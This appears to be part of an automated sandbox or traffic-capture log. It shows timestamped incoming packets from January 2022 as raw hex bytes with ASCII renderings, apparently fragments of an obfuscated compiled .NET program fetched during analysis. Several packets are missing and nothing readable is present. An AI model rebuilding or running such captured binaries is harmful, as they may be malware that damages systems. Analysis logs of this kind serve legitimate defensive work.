2022-01-06 20:04:22 UTC	33	IN	Data Raw: 8e 9c ff ff 26 20 33 00 00 00 38 83 9c ff ff 20 d1 00 00 00 20 68 00 00 00 59 fe 0e 6e 00 20 5a 02 00 00 38 6a 9c ff ff fe 0c 16 00 20 1b 00 00 00 fe 0c 6e 00 9c 20 5f 00 00 00 28 1d 01 00 06 3a 4d 9c ff ff 26 20 37 01 00 00 38 42 9c ff ff fe 0c 2f 00 20 0c 00 00 00 20 f3 00 00 00 20 51 00 00 00 59 9c 20 92 02 00 00 38 23 9c ff ff fe 0c 2f 00 20 0f 00 00 00 20 12 00 00 00 20 32 00 00 00 58 9c 20 67 00 00 00 28 1c 01 00 06 39 ff 9b ff ff 26 20 4a 01 00 00 38 f4 9b ff ff fe 0c 2f 00 20 03 00 00 00 fe 0c 5f 00 9c 20 6d 02 00 00 38 dc 9b ff ff fe 0c 16 00 20 05 00 00 00 20 fc 00 00 00 20 54 00 00 00 59 9c 20 77 00 00 00 28 1d 01 00 06 3a b8 9b ff ff 26 20 c6 00 00 00 38 ad 9b ff ff 28 d2 00 00 06 1a 3b 22 f6 ff ff 20 5c 00 00 00 28 1d 01 00 06 3a 93 9b ff ff Data Ascii: & 38 hYn Z8j n _(:M& 78B/ QY 8#/ 2X g(9& J8/ _ m8 TY w(:& 8(;" \(:
2022-01-06 20:04:22 UTC	35	IN	Data Raw: 00 00 00 00 00 00 00 dd 43 00 00 5b 02 00 00 38 46 00 00 32 00 00 00 0a 00 00 01 02 00 00 00 8a 47 00 00 d4 00 00 00 5e 48 00 00 97 00 00 00 00 00 00 00 00 00 00 00 4b 47 00 00 c9 01 00 00 14 49 00 00 32 00 00 00 0a 00 00 01 00 00 00 00 d3 3d 00 00 87 00 00 00 5a 3e 00 00 32 00 00 00 0a 00 00 01 00 00 00 00 50 3d 00 00 51 00 00 00 a1 3d 00 00 0a 01 00 00 0a 00 00 01 02 00 00 00 d9 17 00 00 32 01 00 00 0b 19 00 00 30 00 00 00 00 00 00 00 00 00 00 00 fd 15 00 00 70 04 00 00 6d 1a 00 00 32 00 00 00 0a 00 00 01 1b 30 04 00 fb 00 00 00 13 00 00 11 02 74 32 00 00 01 6f 79 00 00 0a 28 7a 00 00 0a 39 11 00 00 00 02 74 32 00 00 01 6f 79 00 00 0a 0a dd d3 00 00 00 dd 06 00 00 00 26 dd 00 00 00 00 00 02 74 32 00 00 01 6f 7b 00 00 0a 6f 7c 00 00 0a 6f 75 00 00 0a 72 Data Ascii: C[8F2G^HKGI2=Z>2P=Q=20pm20t2oy(z9t2oy&t2o{o\|our
2022-01-06 20:04:22 UTC	36	IN	Data Raw: 00 06 28 8c 00 00 0a 58 0a 20 05 15 00 00 0c 08 0d 06 13 05 38 29 00 00 00 08 1b 62 08 58 11 04 61 0c 11 05 18 58 49 13 04 11 04 39 1d 00 00 00 09 1b 62 09 58 11 04 61 0d 11 05 18 d3 18 5a 58 13 05 11 05 49 25 13 04 3a cc ff ff ff 08 09 20 65 8b 58 5d 5a 58 2a 00 00 00 13 30 04 00 c5 00 00 00 17 00 00 11 02 03 28 8d 00 00 0a 39 02 00 00 00 17 2a 02 39 06 00 00 00 03 3a 02 00 00 00 16 2a 16 0a 16 0b 16 0c 16 0d 02 7e 6e 00 00 04 6f 8e 00 00 0a 39 2a 00 00 00 17 0a 02 1a 6f 8f 00 00 0a 02 1b 6f 8f 00 00 0a 1e 62 60 02 1c 6f 8f 00 00 0a 1f 10 62 60 02 1d 6f 8f 00 00 0a 1f 18 62 60 0c 03 7e 6e 00 00 04 6f 8e 00 00 0a 39 2a 00 00 00 17 0b 03 1a 6f 8f 00 00 0a 03 1b 6f 8f 00 00 0a 1e 62 60 03 1c 6f 8f 00 00 0a 1f 10 62 60 03 1d 6f 8f 00 00 0a 1f 18 62 60 0d 06 Data Ascii: (X 8)bXaXI9bXaZXI%: eX]ZX0(99:~no9oob`ob`ob`~no9*oob`ob`ob`
2022-01-06 20:04:22 UTC	37	IN	Data Raw: 2a 2a fe 09 00 00 6f af 00 00 0a 2a 00 3e 00 fe 09 00 00 fe 09 01 00 28 b0 00 00 0a 2a 2e 00 fe 09 00 00 28 b0 00 00 06 2a 4a fe 09 00 00 fe 09 01 00 fe 09 02 00 6f b1 00 00 0a 2a 00 2e 00 fe 09 00 00 28 23 00 00 0a 2a 2e 00 fe 09 00 00 28 b2 00 00 0a 2a 1e 00 28 b3 00 00 0a 2a 3a fe 09 00 00 fe 09 01 00 6f 29 00 00 0a 2a 00 3e 00 fe 09 00 00 fe 09 01 00 28 83 00 00 0a 2a 3e 00 fe 09 00 00 fe 09 01 00 28 a6 00 00 06 2a 2a fe 09 00 00 6f 33 01 00 06 2a 00 2e 00 fe 09 00 00 28 b4 00 00 0a 2a 2e 00 fe 09 00 00 28 b5 00 00 0a 2a 2e 00 fe 09 00 00 28 b6 00 00 0a 2a 2a fe 09 00 00 6f b7 00 00 0a 2a 00 2a fe 09 00 00 6f b8 00 00 0a 2a 00 3e 00 fe 09 00 00 fe 09 01 00 28 b9 00 00 0a 2a 2a fe 09 00 00 6f ba 00 00 0a 2a 00 3e 00 fe 09 00 00 fe 09 01 00 28 4a 00 00 Data Ascii: *o>(.(Jo.(#.((:o)>(>(*o3.(.(.(oo>(o>(J
2022-01-06 20:04:22 UTC	39	IN	Data Raw: 25 00 00 96 18 00 00 a6 0f 00 00 63 2b 00 00 e7 26 00 00 5b 0d 00 00 0a 29 00 00 fc 02 00 00 c2 11 00 00 93 11 00 00 19 15 00 00 ba 23 00 00 fc 1c 00 00 0b 0d 00 00 73 06 00 00 2c 17 00 00 30 21 00 00 ec 15 00 00 4a 0b 00 00 b2 1e 00 00 a8 2c 00 00 ce 14 00 00 05 2b 00 00 99 28 00 00 46 22 00 00 ec 09 00 00 39 27 00 00 0d 17 00 00 4c 07 00 00 43 31 00 00 5e 0c 00 00 4d 25 00 00 9e 0c 00 00 d2 2d 00 00 d8 31 00 00 80 0c 00 00 ef 24 00 00 42 0e 00 00 2f 05 00 00 fe 07 00 00 6b 15 00 00 ea 08 00 00 fa 30 00 00 06 20 00 00 77 1f 00 00 a3 27 00 00 10 27 00 00 cc 02 00 00 b7 25 00 00 82 0b 00 00 22 29 00 00 b0 26 00 00 86 1a 00 00 df 18 00 00 6b 09 00 00 50 2c 00 00 57 05 00 00 35 0c 00 00 6b 01 00 00 1c 01 00 00 16 23 00 00 ee 05 00 00 13 1e 00 00 e4 02 00 00 Data Ascii: %c+&[)#s,0!J,+(F"9'LC1^M%-1$B/k0 w''%")&kP,W5k#
2022-01-06 20:04:22 UTC	40	IN	Data Raw: 01 00 00 38 49 f8 ff ff 11 00 17 58 13 00 20 0e 01 00 00 38 39 f8 ff ff 2a fe 0c 1b 00 20 19 00 00 00 20 9a 00 00 00 20 33 00 00 00 59 9c 20 41 00 00 00 28 72 01 00 06 3a 14 f8 ff ff 26 20 32 00 00 00 38 09 f8 ff ff fe 0c 1b 00 20 08 00 00 00 20 4b 00 00 00 20 7b 00 00 00 58 9c 20 af 00 00 00 28 73 01 00 06 3a e5 f7 ff ff 26 20 17 01 00 00 38 da f7 ff ff 20 59 00 00 00 20 6f 00 00 00 58 fe 0e 14 00 20 6f 00 00 00 38 c1 f7 ff ff fe 0c 1b 00 20 1a 00 00 00 20 2b 00 00 00 20 2f 00 00 00 58 9c 20 40 00 00 00 28 72 01 00 06 3a 9d f7 ff ff 26 20 17 00 00 00 38 92 f7 ff ff 20 be 00 00 00 20 3f 00 00 00 59 fe 0e 13 00 20 7a 01 00 00 28 73 01 00 06 39 74 f7 ff ff 26 20 8c 00 00 00 38 69 f7 ff ff fe 0c 1b 00 20 12 00 00 00 20 fb 00 00 00 20 53 00 00 00 59 9c 20 02 Data Ascii: 8IX 89* 3Y A(r:& 28 K {X (s:& 8 Y oX o8 + /X @(r:& 8 ?Y z(s9t& 8i SY
2022-01-06 20:04:22 UTC	41	IN	Data Raw: 7b 00 00 00 38 ef f2 ff ff 20 60 00 00 00 20 13 00 00 00 59 fe 0e 13 00 20 77 00 00 00 38 d6 f2 ff ff 11 06 73 21 00 00 0a 16 73 ca 00 00 0a 13 1c 20 34 00 00 00 38 bd f2 ff ff fe 0c 1b 00 20 0d 00 00 00 20 c2 00 00 00 20 40 00 00 00 59 9c 20 05 01 00 00 38 9e f2 ff ff fe 0c 1b 00 20 11 00 00 00 20 77 00 00 00 20 2c 00 00 00 58 9c 20 26 01 00 00 38 7f f2 ff ff 11 25 28 67 01 00 06 16 6a 28 68 01 00 06 20 67 01 00 00 28 73 01 00 06 39 62 f2 ff ff 26 20 21 00 00 00 38 57 f2 ff ff 20 01 00 00 00 13 09 20 4b 00 00 00 38 46 f2 ff ff fe 0c 24 00 20 01 00 00 00 fe 0c 14 00 9c 20 3d 00 00 00 38 2e f2 ff ff 20 3a 00 00 00 20 0a 00 00 00 58 fe 0e 13 00 20 57 00 00 00 fe 0e 1f 00 38 0d f2 ff ff fe 0c 24 00 20 02 00 00 00 fe 0c 14 00 9c 20 50 01 00 00 38 f9 f1 ff ff Data Ascii: {8 ` Y w8s!s 48 @Y 8 w ,X &8%(gj(h g(s9b& !8W K8F$ =8. : X W8$ P8
2022-01-06 20:04:22 UTC	43	IN	Data Raw: 00 00 00 38 97 ed ff ff 20 75 00 00 00 20 47 00 00 00 58 fe 0e 14 00 20 fd 00 00 00 28 72 01 00 06 3a 79 ed ff ff 26 20 2b 00 00 00 38 6e ed ff ff 20 71 00 00 00 20 0d 00 00 00 58 fe 0e 13 00 20 09 00 00 00 28 72 01 00 06 39 50 ed ff ff 26 20 92 00 00 00 38 45 ed ff ff 11 05 8e 69 1a 5b 13 19 20 11 00 00 00 28 73 01 00 06 3a 2e ed ff ff 26 20 95 00 00 00 38 23 ed ff ff 11 17 13 06 20 31 00 00 00 28 73 01 00 06 39 10 ed ff ff 26 20 1f 00 00 00 38 05 ed ff ff fe 0c 1b 00 20 05 00 00 00 20 d4 00 00 00 20 46 00 00 00 59 9c 20 39 01 00 00 38 e6 ec ff ff fe 0c 1b 00 20 06 00 00 00 20 7d 00 00 00 20 29 00 00 00 59 9c 20 db 00 00 00 28 72 01 00 06 3a c2 ec ff ff 26 20 a8 00 00 00 38 b7 ec ff ff fe 0c 1b 00 20 1a 00 00 00 20 20 00 00 00 20 66 00 00 00 58 9c 20 ee Data Ascii: 8 u GX (r:y& +8n q X (r9P& 8Ei[ (s:.& 8# 1(s9& 8 FY 98 } )Y (r:& 8 fX
2022-01-06 20:04:22 UTC	44	IN	Data Raw: 20 62 00 00 00 20 66 00 00 00 58 9c 20 07 00 00 00 28 72 01 00 06 3a 2b e8 ff ff 26 20 01 00 00 00 38 20 e8 ff ff 11 0b 1a 5a 13 23 20 f9 00 00 00 38 10 e8 ff ff fe 0c 1b 00 20 0f 00 00 00 20 4b 00 00 00 20 6f 00 00 00 58 9c 20 02 01 00 00 28 73 01 00 06 3a ec e7 ff ff 26 20 79 01 00 00 38 e1 e7 ff ff 20 66 00 00 00 20 35 00 00 00 58 fe 0e 13 00 20 72 00 00 00 fe 0e 1f 00 38 c0 e7 ff ff fe 0c 24 00 20 0f 00 00 00 20 43 00 00 00 20 42 00 00 00 59 9c 20 32 01 00 00 28 72 01 00 06 39 a0 e7 ff ff 26 20 7b 01 00 00 38 95 e7 ff ff 20 34 00 00 00 20 68 00 00 00 58 fe 0e 13 00 20 0f 00 00 00 28 73 01 00 06 3a 77 e7 ff ff 26 20 c1 00 00 00 38 6c e7 ff ff fe 0c 24 00 20 0a 00 00 00 20 80 00 00 00 20 2a 00 00 00 59 9c 20 0a 00 00 00 28 72 01 00 06 3a 48 e7 ff ff 26 Data Ascii: b fX (r:+& 8 Z# 8 K oX (s:& y8 f 5X r8$ C BY 2(r9& {8 4 hX (s:w& 8l$ *Y (r:H&
2022-01-06 20:04:22 UTC	45	IN	Data Raw: 00 00 20 b3 00 00 00 20 42 00 00 00 58 9c 20 29 01 00 00 28 72 01 00 06 3a d0 e2 ff ff 26 20 ff 00 00 00 38 c5 e2 ff ff fe 0c 24 00 20 04 00 00 00 20 ac 00 00 00 20 39 00 00 00 59 9c 20 8d 00 00 00 28 72 01 00 06 3a a1 e2 ff ff 26 20 7e 00 00 00 38 96 e2 ff ff fe 0c 1b 00 20 00 00 00 00 20 61 00 00 00 20 50 00 00 00 59 9c 20 7e 01 00 00 38 77 e2 ff ff fe 0c 24 00 20 06 00 00 00 fe 0c 14 00 9c 20 e4 00 00 00 38 5f e2 ff ff 20 4c 00 00 00 20 0b 00 00 00 58 fe 0e 13 00 20 ac 00 00 00 38 46 e2 ff ff 16 13 00 20 85 00 00 00 38 39 e2 ff ff fe 0c 1b 00 20 07 00 00 00 20 f7 00 00 00 20 52 00 00 00 59 9c 20 63 00 00 00 38 1a e2 ff ff 20 5c 00 00 00 20 53 00 00 00 58 fe 0e 13 00 20 3b 00 00 00 38 01 e2 ff ff fe 0c 1b 00 20 1b 00 00 00 fe 0c 13 00 9c 20 44 01 00 00 Data Ascii: BX )(r:& 8$ 9Y (r:& ~8 a PY ~8w$ 8_ L X 8F 89 RY c8 \ SX ;8 D
2022-01-06 20:04:22 UTC	47	IN	Data Raw: 0c 14 00 9c 20 10 01 00 00 38 86 dd ff ff fe 0c 24 00 20 0f 00 00 00 20 2d 00 00 00 20 23 00 00 00 58 9c 20 39 00 00 00 38 67 dd ff ff 20 02 00 00 00 20 1b 00 00 00 58 fe 0e 13 00 20 49 00 00 00 38 4e dd ff ff fe 0c 1b 00 20 09 00 00 00 fe 0c 13 00 9c 20 ff 00 00 00 28 72 01 00 06 39 31 dd ff ff 26 20 1f 01 00 00 38 26 dd ff ff fe 0c 24 00 20 0a 00 00 00 fe 0c 14 00 9c 20 fb 00 00 00 38 0e dd ff ff 11 06 28 6b 01 00 06 80 77 00 00 04 20 c8 00 00 00 28 72 01 00 06 3a f3 dc ff ff 26 20 b2 00 00 00 38 e8 dc ff ff fe 0c 1b 00 20 08 00 00 00 fe 0c 13 00 9c 20 20 01 00 00 38 d0 dc ff ff 20 89 00 00 00 20 23 00 00 00 58 fe 0e 13 00 20 30 00 00 00 28 72 01 00 06 3a b2 dc ff ff 26 20 1e 00 00 00 38 a7 dc ff ff fe 0c 1b 00 20 0c 00 00 00 20 1d 00 00 00 20 49 00 00 Data Ascii: 8$ - #X 98g X I8N (r91& 8&$ 8(kw (r:& 8 8 #X 0(r:& 8 I
2022-01-06 20:04:22 UTC	48	IN	Data Raw: 00 00 00 58 9c 20 1c 01 00 00 38 2c d8 ff ff fe 0c 24 00 20 0a 00 00 00 fe 0c 14 00 9c 20 23 00 00 00 38 14 d8 ff ff fe 0c 1b 00 20 0b 00 00 00 fe 0c 13 00 9c 20 32 00 00 00 38 fc d7 ff ff 20 94 00 00 00 20 31 00 00 00 59 fe 0e 14 00 20 2f 01 00 00 38 e3 d7 ff ff 20 76 00 00 00 20 09 00 00 00 59 fe 0e 13 00 20 5b 01 00 00 38 ca d7 ff ff 38 d9 e0 ff ff 20 3b 01 00 00 38 bb d7 ff ff fe 0c 24 00 20 03 00 00 00 20 77 00 00 00 20 66 00 00 00 58 9c 20 ec 00 00 00 28 73 01 00 06 3a 97 d7 ff ff 26 20 1b 01 00 00 38 8c d7 ff ff fe 0c 1b 00 20 12 00 00 00 20 31 00 00 00 20 02 00 00 00 59 9c 20 b3 00 00 00 28 72 01 00 06 3a 68 d7 ff ff 26 20 46 00 00 00 38 5d d7 ff ff fe 0c 1b 00 20 1e 00 00 00 fe 0c 13 00 9c 20 24 00 00 00 38 45 d7 ff ff 20 96 00 00 00 20 32 00 00 Data Ascii: X 8,$ #8 28 1Y /8 v Y [88 ;8$ w fX (s:& 8 1 Y (r:h& F8] $8E 2
2022-01-06 20:04:22 UTC	49	IN	Data Raw: 00 00 20 4f 00 00 00 58 fe 0e 14 00 20 56 01 00 00 28 73 01 00 06 39 c7 d2 ff ff 26 20 42 00 00 00 38 bc d2 ff ff 20 9a 00 00 00 20 50 00 00 00 59 fe 0e 13 00 20 82 00 00 00 28 72 01 00 06 3a 9e d2 ff ff 26 20 77 00 00 00 38 93 d2 ff ff 20 65 00 00 00 20 10 00 00 00 58 fe 0e 13 00 20 3f 00 00 00 28 72 01 00 06 3a 75 d2 ff ff 26 20 36 00 00 00 38 6a d2 ff ff 11 0a 8e 69 1a 5b 13 0f 20 4d 00 00 00 28 73 01 00 06 39 53 d2 ff ff 26 20 0f 00 00 00 38 48 d2 ff ff fe 0c 1b 00 20 1e 00 00 00 20 d6 00 00 00 20 47 00 00 00 59 9c 20 ec 00 00 00 38 29 d2 ff ff 20 cb 00 00 00 20 21 00 00 00 58 fe 0e 13 00 20 01 00 00 00 28 72 01 00 06 39 0b d2 ff ff 26 20 01 00 00 00 38 00 d2 ff ff fe 0c 1b 00 20 0c 00 00 00 fe 0c 13 00 9c 20 9c 00 00 00 28 72 01 00 06 3a e3 d1 ff ff Data Ascii: OX V(s9& B8 PY (r:& w8 e X ?(r:u& 68ji[ M(s9S& 8H GY 8) !X (r9& 8 (r:
2022-01-06 20:04:22 UTC	51	IN	Data Raw: 6a e4 ff ff 20 c5 00 00 00 38 7b cd ff ff fe 0c 1b 00 20 11 00 00 00 fe 0c 13 00 9c 20 f6 00 00 00 28 73 01 00 06 3a 5e cd ff ff 26 20 3d 01 00 00 38 53 cd ff ff 20 55 00 00 00 20 43 00 00 00 58 fe 0e 13 00 20 4b 00 00 00 28 72 01 00 06 39 35 cd ff ff 26 20 8c 00 00 00 38 2a cd ff ff fe 0c 1b 00 20 04 00 00 00 20 3c 00 00 00 20 74 00 00 00 58 9c 20 50 00 00 00 28 73 01 00 06 3a 06 cd ff ff 26 20 98 00 00 00 38 fb cc ff ff 20 b2 00 00 00 20 3b 00 00 00 59 fe 0e 13 00 20 03 00 00 00 28 73 01 00 06 3a dd cc ff ff 26 20 0a 01 00 00 38 d2 cc ff ff fe 0c 24 00 20 0e 00 00 00 20 f0 00 00 00 20 50 00 00 00 59 9c 20 1d 01 00 00 38 b3 cc ff ff fe 0c 24 00 20 09 00 00 00 20 59 00 00 00 20 05 00 00 00 58 9c 20 23 01 00 00 38 94 cc ff ff fe 0c 24 00 20 09 00 00 00 20 Data Ascii: j 8{ (s:^& =8S U CX K(r95& 8* < tX P(s:& 8 ;Y (s:& 8$ PY 8$ Y X #8$
2022-01-06 20:04:22 UTC	52	IN	Data Raw: 06 39 2a c8 ff ff 26 20 bf 00 00 00 38 1f c8 ff ff fe 0c 1b 00 20 02 00 00 00 fe 0c 13 00 9c 20 da 00 00 00 38 07 c8 ff ff 20 ff 00 00 00 13 01 20 2a 01 00 00 28 73 01 00 06 3a f1 c7 ff ff 26 20 31 01 00 00 38 e6 c7 ff ff 11 07 28 6e 01 00 06 28 6b 01 00 06 80 77 00 00 04 20 45 00 00 00 38 cb c7 ff ff fe 0c 1b 00 20 14 00 00 00 20 38 00 00 00 20 34 00 00 00 58 9c 20 52 01 00 00 38 ac c7 ff ff fe 0c 1b 00 20 10 00 00 00 fe 0c 13 00 9c 20 5f 01 00 00 38 94 c7 ff ff 11 05 11 23 19 58 91 1f 18 62 11 05 11 23 18 58 91 1f 10 62 60 11 05 11 23 17 58 91 1e 62 60 11 05 11 23 91 60 13 10 20 73 00 00 00 38 63 c7 ff ff 11 03 20 ff 00 00 00 13 03 25 20 c4 fd cc 6b fe 0e 20 00 20 fb f7 e8 08 fe 0e 15 00 fe 0e 0d 00 20 6d 38 62 76 fe 0e 22 00 20 bb fd 49 1e fe 0e 1d 00 Data Ascii: 9& 8 8 (s:& 18(n(kw E8 8 4X R8 _8#Xb#Xb`#Xb`#` s8c % k m8bv" I
2022-01-06 20:04:22 UTC	53	IN	Data Raw: 00 00 00 00 2a 13 30 05 00 04 00 00 00 00 00 00 00 00 00 16 2a 12 00 00 00 2a 00 00 00 03 30 02 00 46 00 00 00 00 00 00 00 28 a7 00 00 06 38 0b 00 00 00 16 80 80 00 00 04 38 21 00 00 00 28 5d 01 00 06 38 01 00 00 00 2a 14 80 7b 00 00 04 38 00 00 00 00 14 80 7c 00 00 04 38 d4 ff ff ff 17 8c 03 00 00 01 80 81 00 00 04 38 d9 ff ff ff 00 00 12 00 00 17 2a 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 16 2a 00 00 00 12 00 00 00 2a 00 00 00 12 00 00 00 2a 00 00 00 03 30 03 00 04 00 00 00 00 00 00 00 00 00 00 2a 03 30 03 00 04 00 00 00 00 00 00 00 00 00 00 2a 12 00 00 14 2a 00 00 00 12 00 00 00 2a 00 00 00 12 00 00 00 2a 00 00 00 12 00 00 00 2a 00 00 00 12 00 00 00 2a 00 00 00 13 30 03 00 04 00 00 00 00 00 00 00 00 00 17 2a 12 00 00 17 2a 00 00 00 13 30 03 00 04 00 Data Ascii: 00F(88!(]8{8\|88****00****00
2022-01-06 20:04:22 UTC	55	IN	Data Raw: 12 00 00 00 2a 00 00 00 12 00 00 00 2a 00 00 00 12 00 00 00 2a 00 00 00 12 00 00 17 2a 00 00 00 12 00 00 17 2a 00 00 00 13 30 03 00 04 00 00 00 00 00 00 00 00 00 14 2a 13 30 04 00 04 00 00 00 00 00 00 00 00 00 14 2a 13 30 04 00 04 00 00 00 00 00 00 00 00 00 14 2a 12 00 00 14 2a 00 00 00 12 00 00 17 2a 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 14 2a 00 00 Data Ascii: ****000*********************
2022-01-06 20:04:23 UTC	59	IN	Data Raw: 00 00 00 2a 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 17 2a 00 00 00 12 00 00 17 2a 00 00 00 03 30 03 00 04 00 00 00 00 00 00 00 00 00 17 2a 12 00 00 17 2a 00 00 00 12 00 00 17 2a 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 17 2a 00 00 00 1a 28 a7 00 00 06 2a 00 12 00 00 00 2a 00 00 00 22 00 14 a5 14 00 00 01 2a 00 00 00 03 30 03 00 04 00 00 00 00 00 00 00 00 00 00 2a 12 00 00 00 2a 00 00 00 12 00 00 00 2a 00 00 00 13 30 04 00 04 00 00 00 00 00 00 00 00 00 14 2a 12 00 00 14 2a 00 00 00 12 00 00 17 2a 00 00 00 13 30 04 00 04 00 00 00 00 00 00 00 00 00 17 2a 13 30 04 00 04 00 00 00 00 00 00 00 00 00 17 2a 12 00 00 17 2a 00 00 00 12 00 00 17 2a 00 00 00 12 00 00 14 2a 00 00 00 1a 28 a7 00 00 06 2a 00 12 00 00 00 Data Ascii: ***0**("0000***(
2022-01-06 20:04:23 UTC	63	IN	Data Raw: 6c 05 00 06 2a 00 42 28 a7 00 00 06 d0 a1 00 00 02 28 9e 00 00 06 2a 00 00 00 32 0e 02 0e 00 0e 01 6f 70 05 00 06 2a 00 00 00 42 28 a7 00 00 06 d0 a2 00 00 02 28 9e 00 00 06 2a 00 00 00 32 0e 02 0e 00 0e 01 6f 74 05 00 06 2a 00 00 00 42 28 a7 00 00 06 d0 a3 00 00 02 28 9e 00 00 06 2a 00 00 00 2a 0e 01 0e 00 6f 78 05 00 06 2a 00 42 28 a7 00 00 06 d0 a4 00 00 02 28 9e 00 00 06 2a 00 00 00 32 0e 02 0e 00 0e 01 6f 7c 05 00 06 2a 00 00 00 42 28 a7 00 00 06 d0 a5 00 00 02 28 9e 00 00 06 2a 00 00 00 32 0e 02 0e 00 0e 01 6f 80 05 00 06 2a 00 00 00 42 28 a7 00 00 06 d0 a6 00 00 02 28 9e 00 00 06 2a 00 00 00 32 0e 02 0e 00 0e 01 6f 84 05 00 06 2a 00 00 00 42 28 a7 00 00 06 d0 a7 00 00 02 28 9e 00 00 06 2a 00 00 00 32 0e 02 0e 00 0e 01 6f 88 05 00 06 2a 00 00 00 42 Data Ascii: lB((2opB((2otB((oxB((2o\|B((2oB((2oB((2oB
2022-01-06 20:04:23 UTC	64	IN	Data Raw: 00 00 06 d0 bf 00 00 02 28 9e 00 00 06 2a 00 00 00 32 0e 02 0e 00 0e 01 6f e8 05 00 06 2a 00 00 00 42 28 a7 00 00 06 d0 c0 00 00 02 28 9e 00 00 06 2a 00 00 00 2a 0e 01 0e 00 6f ec 05 00 06 2a 00 42 28 a7 00 00 06 d0 c1 00 00 02 28 9e 00 00 06 2a 00 00 00 2a 0e 01 0e 00 6f f0 05 00 06 2a 00 42 28 a7 00 00 06 d0 c2 00 00 02 28 9e 00 00 06 2a 00 00 00 32 0e 02 0e 00 0e 01 6f f4 05 00 06 2a 00 00 00 42 28 a7 00 00 06 d0 c3 00 00 02 28 9e 00 00 06 2a 00 00 00 2a 0e 01 0e 00 6f f8 05 00 06 2a 00 42 28 a7 00 00 06 d0 c4 00 00 02 28 9e 00 00 06 2a 00 00 00 2a 0e 01 0e 00 6f fc 05 00 06 2a 00 42 28 a7 00 00 06 d0 c5 00 00 02 28 9e 00 00 06 2a 00 00 00 32 0e 02 0e 00 0e 01 6f 00 06 00 06 2a 00 00 00 42 28 a7 00 00 06 d0 c6 00 00 02 28 9e 00 00 06 2a 00 00 00 32 0e Data Ascii: (2oB((*oB((*oB((2oB((*oB((*oB((2oB((*2
2022-01-06 20:04:23 UTC	68	IN	Data Raw: ca 01 70 05 00 01 00 00 9b 12 00 00 2d 00 cb 01 74 05 00 01 00 00 af 12 00 00 2d 00 cc 01 78 05 00 01 00 00 c3 12 00 00 2d 00 cd 01 7c 05 00 01 00 00 d7 12 00 00 2d 00 ce 01 80 05 00 01 00 00 eb 12 00 00 2d 00 cf 01 84 05 00 01 00 00 ff 12 00 00 2d 00 d0 01 88 05 00 01 00 00 13 13 00 00 2d 00 d1 01 8c 05 00 01 00 00 27 13 00 00 2d 00 d2 01 90 05 00 01 00 00 3b 13 00 00 2d 00 d3 01 94 05 00 01 00 00 4f 13 00 00 2d 00 d4 01 98 05 00 01 00 00 63 13 00 00 2d 00 d5 01 9c 05 00 01 00 00 77 13 00 00 2d 00 d6 01 a0 05 00 01 00 00 8b 13 00 00 2d 00 d7 01 a4 05 00 01 00 00 9f 13 00 00 2d 00 d8 01 a8 05 00 01 00 00 b3 13 00 00 2d 00 d9 01 ac 05 00 01 00 00 c7 13 00 00 2d 00 da 01 b0 05 00 01 00 00 db 13 00 00 2d 00 db 01 b4 05 00 01 00 00 ef 13 00 00 2d 00 dc 01 b8 Data Ascii: p-t-x-\|----'-;-O-c-w-------
2022-01-06 20:04:23 UTC	72	IN	Data Raw: 18 d3 16 37 01 09 00 98 23 00 00 00 00 91 18 d3 16 37 01 09 00 7c 21 00 00 08 00 96 00 13 1c 63 02 09 00 8c 21 00 00 08 00 96 00 b6 05 70 02 0b 00 94 21 00 00 08 00 96 00 7f 1c 37 01 0c 00 cc 21 00 00 08 00 96 00 ba 1c 8c 02 0c 00 d4 21 00 00 08 00 96 08 fb 1c 93 02 0d 00 dc 21 00 00 08 00 96 08 38 1d 97 02 0d 00 e4 21 00 00 08 00 93 00 75 1d 45 01 0e 00 ec 21 00 00 08 00 93 00 89 1d 9c 02 0e 00 f4 21 00 00 00 00 91 18 d3 16 37 01 0e 00 fc 21 00 00 08 00 86 08 f0 1d ad 02 0e 00 04 22 00 00 08 00 86 08 f9 1d b2 02 0e 00 0c 22 00 00 08 00 86 18 53 00 b8 02 0f 00 1c 22 00 00 08 00 86 00 51 1e 08 03 10 00 2c 22 00 00 08 00 96 00 8e 1e 83 03 11 00 a0 22 00 00 08 00 93 00 0a 1f 45 01 12 00 a8 22 00 00 08 00 93 00 1e 1f ae 03 12 00 b0 22 00 00 00 00 91 18 d3 16 Data Ascii: 7#7\|!c!p!7!!!8!uE!!7!""S"Q,""E""
2022-01-06 20:04:23 UTC	76	IN	Data Raw: 2b 18 2f 0c 68 01 00 00 00 00 03 00 c6 01 b0 21 3a 0c 6d 01 00 00 00 00 03 00 c6 01 e0 21 4b 0c 74 01 c4 af 00 00 00 00 91 18 d3 16 37 01 76 01 00 00 00 00 03 00 86 18 53 00 65 01 76 01 00 00 00 00 03 00 c6 01 2b 18 54 0c 78 01 00 00 00 00 03 00 c6 01 b0 21 5d 0c 7c 01 00 00 00 00 03 00 c6 01 e0 21 6c 0c 82 01 cc af 00 00 00 00 91 18 d3 16 37 01 84 01 00 00 00 00 03 00 86 18 53 00 65 01 84 01 00 00 00 00 03 00 c6 01 2b 18 75 0c 86 01 00 00 00 00 03 00 c6 01 b0 21 7c 0c 89 01 00 00 00 00 03 00 c6 01 e0 21 5b 05 8e 01 d4 af 00 00 00 00 91 18 d3 16 37 01 8f 01 00 00 00 00 03 00 86 18 53 00 65 01 8f 01 00 00 00 00 03 00 c6 01 2b 18 89 0c 91 01 00 00 00 00 03 00 c6 01 b0 21 a2 04 92 01 00 00 00 00 03 00 c6 01 e0 21 8e 0c 95 01 dc af 00 00 00 00 91 18 d3 16 37 Data Ascii: +/h!:m!Kt7vSev+Tx!]\|!l7Se+u!\|![7Se+!!7
